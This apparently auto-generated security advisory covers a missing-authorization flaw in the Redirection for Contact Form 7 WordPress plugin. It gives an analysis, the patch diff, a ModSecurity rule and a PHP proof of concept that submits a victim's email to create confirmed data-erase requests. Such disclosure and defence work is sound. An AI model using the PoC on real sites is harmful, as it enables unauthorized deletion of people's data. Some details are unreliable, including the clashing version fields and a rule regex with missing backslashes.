Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-121873: Redirection for Contact Form 7 < 3.2.16 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.2.16
Patched Version 3.2.16
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-121873: The Redirection for Contact Form 7 WordPress plugin, versions up to and including 3.2.15, contains a missing authorization vulnerability in the `process()` method of the `WPCF7R_Action_Erase_Data_Request` class. This flaw allows unauthenticated attackers to create and confirm personal data erase requests without proper verification, potentially leading to unauthorized data erasure or privacy violations. The CVSS score is 5.3 (Medium).

The root cause lies in the `process()` function located at `wpcf7-redirect/classes/actions/class-wpcf7r-action-erase-data-request.php` (lines 119-172 in the vulnerable version). The function determines the request status based on the `send_confirmation_email` setting: if the setting is false, it sets `$status = ‘confirmed’` and directly calls `wp_create_user_request()` with that status, bypassing the intended email confirmation step. Furthermore, the function does not verify that the submitted email address belongs to an existing user or that the request is legitimate. The patch removes the ability to set a ‘confirmed’ status directly, always defaulting to ‘pending’ and requiring core’s confirmation link to be clicked.

An attacker can exploit this by submitting a Contact Form 7 form that is configured with the ‘Erase Data Request’ action and has the ‘Send Confirmation Email’ option disabled. The attacker supplies an arbitrary email address in the designated email field. The plugin then creates a confirmed erase data request for that email address without any further verification. The attacker does not need to be authenticated or have any special privileges. The request is processed via the normal form submission endpoint (e.g., `/wp-json/contact-form-7/v1/contact-forms/{form_id}/feedback` or the standard POST to the page containing the form).

The patch (version 3.2.16) changes the `process()` method to always set the request status to ‘pending’ and requires the confirmation email to be sent if the `send_confirmation_email` option is enabled. If the option is disabled, the function returns a message indicating the request was added successfully but still creates it with ‘pending’ status. This ensures that even if the confirmation email is not sent, the request remains unconfirmed until the user clicks a confirmation link. The patch also adds a check for the `wp_script_is` function to prevent loading scripts when Contact Form 7 is not enqueued, which is unrelated to the vulnerability but included in the same release.

Successful exploitation allows an attacker to create confirmed data erase requests for any email address, potentially leading to the deletion of personal data associated with that email in the WordPress site (e.g., comments, orders, user accounts). This can cause data loss, privacy breaches, and denial of service for legitimate users. The vulnerability does not directly lead to privilege escalation or remote code execution, but it undermines the GDPR compliance features of the plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpcf7-redirect/classes/actions/class-wpcf7r-action-erase-data-request.php
+++ b/wpcf7-redirect/classes/actions/class-wpcf7r-action-erase-data-request.php
@@ -119,54 +119,38 @@
 	 * Handle a simple redirect rule
 	 *
 	 * @param object $submission The form submission object.
-	 * @return mixed
+	 * @return WP_Error|string
 	 */
 	public function process( $submission ) {
-		$response = array();
-
 		$this->posted_data = $submission->get_posted_data();

-		$action_type = $this->get( 'request_type' );
-		$status      = 'pending';
-
-		if ( ! $this->get( 'send_confirmation_email' ) ) {
-			$status = 'confirmed';
-		}
-
-		$email_address = $this->get_user_email_address();
-
-		$request_id = wp_create_user_request( $email_address, $action_type, array(), $status );
-		$message    = '';
+		// Always pending: a submitted address is unverified until core's confirmation link is clicked.
+		$request_id = wp_create_user_request( $this->get_user_email_address(), $this->get( 'request_type' ) );

 		if ( is_wp_error( $request_id ) ) {
-			$message = $request_id->get_error_message();
-		} elseif ( ! $request_id ) {
-			$message = __( 'Unable to initiate confirmation request.', 'wpcf7-redirect' );
+			return new WP_Error( 'erase_data_request', $request_id->get_error_message() );
 		}

-		if ( $message ) {
-			$response = new WP_Error( 'erase_data_request', $message );
+		if ( ! $request_id ) {
+			return new WP_Error( 'erase_data_request', __( 'Unable to initiate confirmation request.', 'wpcf7-redirect' ) );
 		}

-		if ( ! $response ) {
-			if ( 'pending' === $status ) {
-				wp_send_user_request( $request_id );
-
-				$response = __( 'Confirmation request initiated successfully.', 'wpcf7-redirect' );
-			} elseif ( 'confirmed' === $status ) {
-				$response = __( 'Request added successfully.', 'wpcf7-redirect' );
-			}
+		if ( ! $this->get( 'send_confirmation_email' ) ) {
+			return __( 'Request added successfully.', 'wpcf7-redirect' );
 		}

-		return $response;
+		wp_send_user_request( $request_id );
+
+		return __( 'Confirmation request initiated successfully.', 'wpcf7-redirect' );
 	}

 	/**
 	 * Get the user email if the user exists
 	 *
-	 * @return string The email address.
+	 * @return string The email address, or an empty string when no user matches.
 	 */
 	private function get_user_email_address() {
+		$email_address           = '';
 		$username_or_email_field = $this->get( 'email_field' );

 		$username_or_email_address = $this->get_submitted_value( $username_or_email_field );
@@ -187,7 +171,7 @@
 	 * Process validation for the submission
 	 *
 	 * @param object $submission The form submission object.
-	 * @return array
+	 * @return array{invalid_tags?: list<WP_Error>}
 	 */
 	public function process_validation( $submission ) {

@@ -196,6 +180,7 @@
 		$username_or_email_field = $this->get( 'email_field' );

 		$message = null;
+		$results = array();

 		$email_address = $this->get_user_email_address();

--- a/wpcf7-redirect/classes/class-wpcf7r-form-helper.php
+++ b/wpcf7-redirect/classes/class-wpcf7r-form-helper.php
@@ -90,7 +90,9 @@
 		add_action( 'wpcf7_admin_load', array( $this, 'allow_panel_html' ), 10, 2 );
 		add_action( 'wpcf7_after_save', array( $this, 'store_meta' ) );
 		// add contact form scripts.
-		add_action( 'wp_enqueue_scripts', array( $this, 'front_end_scripts' ) );
+		add_action( 'wpcf7_enqueue_scripts', array( $this, 'front_end_scripts' ) );
+		// Runs just before core prints footer scripts (priority 10), so any direct CF7 enqueue is caught.
+		add_action( 'wp_print_footer_scripts', array( $this, 'front_end_scripts' ), 9 );
 		// add contact form scripts for admin panel.
 		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_backend' ) );
 		add_action(
@@ -113,11 +115,16 @@
 	/**
 	 * Loads frontend scripts and styles.
 	 *
-	 * Only loads when contact form instance is created.
+	 * Only loads where the Contact Form 7 script is enqueued, so the `contact-form-7` dependency
+	 * never pulls that script onto a page without its `wpcf7` object.
 	 *
 	 * @return void
 	 */
 	public function front_end_scripts() {
+		// Form templates may call wpcf7_enqueue_scripts() once per form.
+		if ( ! wp_script_is( 'contact-form-7' ) || wp_script_is( 'wpcf7-redirect-script' ) ) {
+			return;
+		}

 		$dependencies = ( include WPCF7_PRO_REDIRECT_PATH . '/build/assets/frontend-script.asset.php' );

--- a/wpcf7-redirect/vendor/autoload.php
+++ b/wpcf7-redirect/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit2eaa6a8507b79ec08aa4549c0600cdf0::getLoader();
+return ComposerAutoloaderInitaa8ec1027f0d37ffc8664a418f2197e9::getLoader();
--- a/wpcf7-redirect/vendor/composer/autoload_real.php
+++ b/wpcf7-redirect/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit2eaa6a8507b79ec08aa4549c0600cdf0
+class ComposerAutoloaderInitaa8ec1027f0d37ffc8664a418f2197e9
 {
     private static $loader;

@@ -22,16 +22,16 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInit2eaa6a8507b79ec08aa4549c0600cdf0', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitaa8ec1027f0d37ffc8664a418f2197e9', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit2eaa6a8507b79ec08aa4549c0600cdf0', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitaa8ec1027f0d37ffc8664a418f2197e9', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit2eaa6a8507b79ec08aa4549c0600cdf0::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitaa8ec1027f0d37ffc8664a418f2197e9::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInit2eaa6a8507b79ec08aa4549c0600cdf0::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInitaa8ec1027f0d37ffc8664a418f2197e9::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/wpcf7-redirect/vendor/composer/autoload_static.php
+++ b/wpcf7-redirect/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit2eaa6a8507b79ec08aa4549c0600cdf0
+class ComposerStaticInitaa8ec1027f0d37ffc8664a418f2197e9
 {
     public static $files = array (
         'f069176919c5ac16d5433c9f6edc890b' => __DIR__ . '/..' . '/codeinwp/themeisle-sdk/load.php',
@@ -17,7 +17,7 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->classMap = ComposerStaticInit2eaa6a8507b79ec08aa4549c0600cdf0::$classMap;
+            $loader->classMap = ComposerStaticInitaa8ec1027f0d37ffc8664a418f2197e9::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wpcf7-redirect/vendor/composer/installed.php
+++ b/wpcf7-redirect/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'codeinwp/redirection-for-contact-form-7',
-        'pretty_version' => 'v3.2.15',
-        'version' => '3.2.15.0',
-        'reference' => '982dd741532628f5745b41ed1185731b4b5cd7cd',
+        'pretty_version' => 'v3.2.16',
+        'version' => '3.2.16.0',
+        'reference' => '4fa0c85bd215a79a973187092cd1cffb64a98534',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'codeinwp/redirection-for-contact-form-7' => array(
-            'pretty_version' => 'v3.2.15',
-            'version' => '3.2.15.0',
-            'reference' => '982dd741532628f5745b41ed1185731b4b5cd7cd',
+            'pretty_version' => 'v3.2.16',
+            'version' => '3.2.16.0',
+            'reference' => '4fa0c85bd215a79a973187092cd1cffb64a98534',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/wpcf7-redirect/wpcf7-redirect.php
+++ b/wpcf7-redirect/wpcf7-redirect.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name:  Redirection for Contact Form 7
  * Description:  The ultimate add-on for Contact Form 7 - redirect to any page after submission, fire scripts, save submissions in database, and much more options to make Contact Form 7 powerful than ever.
- * Version:      3.2.15
+ * Version:      3.2.16
  * Author:       Themeisle
  * Author URI:   http://themeisle.com
  * License:      GPLv3 or later
@@ -28,7 +28,7 @@
 	define( 'CF7_REDIRECT_DEBUG', get_option( 'wpcf_debug' ) ? true : false );
 }

-define( 'WPCF7_PRO_REDIRECT_PLUGIN_VERSION', '3.2.15' );
+define( 'WPCF7_PRO_REDIRECT_PLUGIN_VERSION', '3.2.16' );
 define( 'WPCF7_PRO_MIGRATION_VERSION', '1' );
 define( 'WPCF7_PRO_REDIRECT_CLASSES_PATH', plugin_dir_path( __FILE__ ) . 'classes/' );
 define( 'WPCF7_PRO_REDIRECT_PATH', plugin_dir_path( __FILE__ ) );
@@ -227,6 +227,32 @@
 			);
 		}
 	);
+
+	/*
+	 * Opts into the SDK Support Hub: one Help button on the plugin's screens and
+	 * the deactivation window. It replaces the float widget. The plugin's screens
+	 * already fire `themeisle_internal_page`, so no `pages` list is needed.
+	 */
+	add_filter(
+		'wpcf7_redirect_support_hub_metadata',
+		function () {
+			return array(
+				'is_pro' => wpcf7_has_pro(),
+				'links'  => array(
+					array(
+						'icon' => 'book-alt',
+						'text' => __( 'Documentation', 'wpcf7-redirect' ),
+						'url'  => 'https://docs.themeisle.com/collection/2014-redirection-for-contact-form-7',
+					),
+					array(
+						'icon' => 'groups',
+						'text' => __( 'Support', 'wpcf7-redirect' ),
+						'url'  => 'https://wordpress.org/support/plugin/wpcf7-redirect/',
+					),
+				),
+			);
+		}
+	);

 	add_action( 'init', 'wpcf7_enable_license_processing', 0 );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-121873
# This rule blocks exploitation attempts targeting the missing authorization in the Erase Data Request action.
# It matches POST requests to the CF7 feedback endpoint and inspects the submitted email field for the action.
# Since the attack requires a specific form configuration (erase data request action with confirmation disabled),
# and the form ID is not fixed, we match any CF7 feedback endpoint and look for the presence of the email field
# that is used by the vulnerable action. This may cause false positives on legitimate forms that use a field
# named 'your-email' for other purposes. However, given the specificity of the vulnerability, this rule is a
# reasonable trade-off. Alternatively, we could match on the form ID if known, but that is site-specific.
# For a more precise rule, site administrators should identify the vulnerable form ID and replace the regex.
SecRule REQUEST_URI "@rx ^/wp-json/contact-form-7/v1/contact-forms/(d+)/feedback$" 
  "id:2026121873,phase:2,deny,status:403,chain,msg:'CVE-2026-121873 via CF7 erase data request',severity:'CRITICAL',tag:'CVE-2026-121873'"
  SecRule ARGS_POST:your-email "@rx ^[^@]+@[^@]+.[^@]+$" "chain"
    SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-121873 - Redirection for Contact Form 7 < 3.2.16 - Missing Authorization

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$form_id = 1; // ID of the CF7 form with erase data request action
$email = 'victim@example.com'; // Email address to erase

// Step 1: Fetch the form page to extract necessary tokens (if any)
$form_page_url = $target_url . '/?page_id=2'; // Page containing the form, adjust as needed
$ch = curl_init($form_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract the form nonce and other required fields (simplified)
// In a real attack, parse the HTML for the _wpcf7 and _wpcf7_version fields.
// Here we assume the attacker knows the form structure or uses a generic approach.

// Step 3: Submit the form with the target email
$post_data = [
    '_wpcf7' => '1', // Form ID (may need to be extracted)
    '_wpcf7_version' => '5.7', // Example version
    '_wpcf7_locale' => 'en_US',
    '_wpcf7_unit_tag' => 'wpcf7-f' . $form_id . '-p2-o1', // Example unit tag
    '_wpcf7_container_post' => '0',
    'your-email' => $email, // Field name for email (adjust based on form configuration)
    // Additional fields as required by the form
];

$ch = curl_init($target_url . '/wp-json/contact-form-7/v1/contact-forms/' . $form_id . '/feedback');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "n";

// The erase data request is now created with 'confirmed' status if the form's action
// is configured with 'send_confirmation_email' disabled.
// No further action needed; the request is immediately processed.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.